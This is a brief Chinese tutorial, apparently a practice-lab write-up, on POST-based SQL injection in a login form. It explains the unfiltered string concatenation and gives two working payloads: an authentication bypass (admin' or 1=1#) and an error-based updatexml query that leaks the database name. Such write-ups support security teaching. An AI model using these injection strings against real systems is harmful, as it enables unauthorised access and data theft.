0x00 前言

POST属于SQL注入的一种方式,发生在以POST形式提交数据并与数据库产生交互的地方,如登录搜索处等。万能密码登录就是POST注入的典型应用。

0x01 代码审计

POST注入1.png

第17行,创建了一个form表单,用来提交用户登录的数据。用户名为uname,密码为passwd。

POST注入2.png

第44行,if语句判断如果用户名和密码都不为空时,分别将其赋值给变量uname和passwd。

第57行,直接拼接进SQL语句执行,中间没有任何过滤。

因此存在SQL注入。

0x02 靶场复现

在用户名处输入

1
admin' or 1=1#

密码随便

POST注入3.png

成功登录

爆出数据库名

在用户名处输入

1
admin' and updatexml(1,concat(0x7e,(select database())),1)#

POST注入4.png